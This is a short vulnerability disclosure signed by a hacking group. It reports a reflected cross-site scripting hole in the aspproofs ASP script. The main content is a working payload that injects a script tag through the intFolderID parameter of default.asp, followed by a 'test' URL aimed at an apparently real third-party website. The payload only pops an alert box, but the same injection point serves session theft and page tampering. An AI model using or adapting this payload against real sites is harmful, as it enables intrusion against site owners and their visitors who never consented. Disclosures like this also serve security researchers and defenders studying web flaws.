-----------------------------------------------------------
foun by :kurdish hackers team
group : kurd-team
contact : pshela@yahoo.com
fc page : facebook.com/kurd-team
-----------------------------------------------------------
------------------------script-----------------------------
-----------------------------------------------------------
site script :http://www.aspproofs.com/
(tested by Browser, firefox)
-----------------------------------------------------------
Exploit:
-------
site.com/path/default.asp?Action=login&intFolderID="><script>alert('kurd-team')</script>
test :
http://www.roomtwXyfour.com/aspproofs/default.asp?Action=login&intFolderID="><script>alert('kurd-team')</script>
-----------------------------------------------------------
Zryan_kurd
-----------------------------------------------------------